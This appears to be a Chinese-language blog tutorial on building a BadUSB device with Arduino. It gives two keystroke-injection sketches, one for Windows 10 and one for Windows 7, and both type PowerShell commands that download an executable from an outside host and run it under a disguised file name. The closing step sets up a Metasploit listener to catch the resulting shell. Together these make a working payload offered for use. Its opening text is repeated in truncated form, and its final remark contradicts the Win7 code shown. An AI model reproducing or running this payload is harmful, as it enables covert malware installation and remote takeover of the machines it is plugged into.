准备badusbArduino下载软件点我下载运行软件在工具菜单中 选择,选择badusb的端口和开发版。注入代码windows10系统#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEF
准备
下载软件
运行软件
在工具
菜单中 选择,选择badusb的端口
和开发版
。
注入代码
windows10系统
#include <Keyboard.h> void setup() { Keyboard.begin();//开始键盘通讯 delay(1000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://bbskali.cn/8888.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file);%HOMEPATH%\\Windows.exe;"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); } void loop()//循环 {
Windows7系统
#include <Keyboard.h> void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("CMD.EXE /t:01 /k MODE con: cols=16 lines=2"); delay(1000); Keyboard.println("POWERSHELL -cOMMAND $CLNT = NEW-OBJECT sYSTEM.nET.wEBcLIENT;$URL= 'https://bbskali.cn/8888.exe';$FILE = ' c:\\X.EXE ';$CLNT.dOWNLOADfILE($URL,$FILE);"); delay(3000); Keyboard.println("C:\\X.EXE&EXIT"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 {
编译上传
配置监听
在msf中我们配置参数,插入badusb即可得到shell,需要注意的是,本代码仅支持win10对于win7和xp由于不能直接用powershell
下载,所以以上代码不能实现。